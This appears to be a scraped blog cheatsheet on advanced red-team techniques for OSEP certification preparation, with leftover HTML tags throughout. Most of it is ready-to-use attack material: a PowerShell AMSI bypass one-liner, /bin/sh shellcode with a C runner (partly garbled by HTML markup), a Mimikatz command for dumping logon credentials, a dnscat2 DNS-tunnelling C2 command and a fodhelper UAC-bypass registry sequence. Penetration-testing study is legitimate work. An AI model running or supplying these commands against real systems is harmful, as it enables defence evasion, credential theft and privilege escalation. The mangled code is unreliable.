From OSCP to OSEP: The Ultimate Red Teaming Cheatsheet

In the world of cybersecurity, the journey from OSCP (Offensive Security Certified Professional) to OSEP (Offensive Security Experienced Penetration Tester) is a significant leap. While OSCP equips you with the foundational skills to break into systems, OSEP takes it a step further by teaching you how to stay in—undetected. This article delves into the key aspects of OSEP, providing you with practical commands, codes, and steps to master advanced red teaming techniques.

You Should Know:

1. EDR & AMSI Bypass:

• EDR (Endpoint Detection and Response) and AMSI (Antimalware Scan Interface) are modern defenses designed to detect and prevent malicious activities. Bypassing these defenses is crucial for maintaining access to a compromised system.
• Command Example:

  </li>
  </ul>
  
  <h1>Bypass AMSI using PowerShell</h1>
  
  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  

  2. Custom Shellcoding:

  • Shellcoding involves writing custom payloads that can execute on a target system without being detected by antivirus software.
  • Code Example:

    #include <stdio.h>
    #include <string.h></li>
    </ul>
    
    unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    
    int main() {
    printf("Shellcode Length: %d\n", strlen(code));
    int (<em>ret)() = (int(</em>)())code;
    ret();
    }
    

    3. Active Directory (AD) Exploitation:

    • AD exploitation involves moving laterally across a network, escalating privileges, and maintaining persistence.
    • Command Example:

      </li>
      </ul>
      
      <h1>Use Mimikatz to dump credentials from memory</h1>
      
      mimikatz.exe privilege::debug sekurlsa::logonpasswords
      

      4. Covert Command and Control (C2):

      • Staying stealthy is key to a successful red team operation. Covert C2 channels help maintain communication with the compromised system without detection.
      • Command Example:

        </li>
        </ul>
        
        <h1>Set up a covert C2 channel using DNS tunneling</h1>
        
        dnscat2 --dns server=<your_dns_server> --secret=mysecret
        

        5. Windows Exploitation:

        • Mastering Windows exploitation techniques, such as UAC bypass and leveraging LOLBAS (Living Off the Land Binaries and Scripts), is essential for advanced red teaming.
        • Command Example:

          </li>
          </ul>
          
          <h1>UAC bypass using fodhelper.exe</h1>
          
          reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "" /f
          reg add HKCU\Software\Classes\ms-settings\shell\open\command /t REG_SZ /d "cmd.exe /c start C:\Windows\System32\cmd.exe" /f
          fodhelper.exe
          

          What Undercode Say:

          The transition from OSCP to OSEP is not just about learning new tools; it’s about refining your craft to become an undetectable and unstoppable force in the cybersecurity landscape. The techniques discussed here—EDR & AMSI bypass, custom shellcoding, AD exploitation, covert C2, and Windows exploitation—are just the tip of the iceberg. Mastering these skills requires continuous practice and a deep understanding of both offensive and defensive strategies.

          Expected Output:

          • EDR & AMSI Bypass: Successful execution of the PowerShell command to disable AMSI.
          • Custom Shellcoding: Compilation and execution of the custom shellcode without triggering antivirus alerts.
          • AD Exploitation: Successful credential dumping using Mimikatz.
          • Covert C2: Establishment of a DNS tunneling channel for covert communication.
          • Windows Exploitation: Successful UAC bypass using fodhelper.exe.

          By mastering these techniques, you’ll be well on your way to becoming an elite red teamer, capable of outsmarting even the most advanced defenses.

          References:

          Reported By: Dharamveer Prasad – Hackers Feeds
          Extra Hub: Undercode MoN
          Basic Verification: Pass ✅

          Join Our Cyber World:

          💬 Whatsapp | 💬 Telegram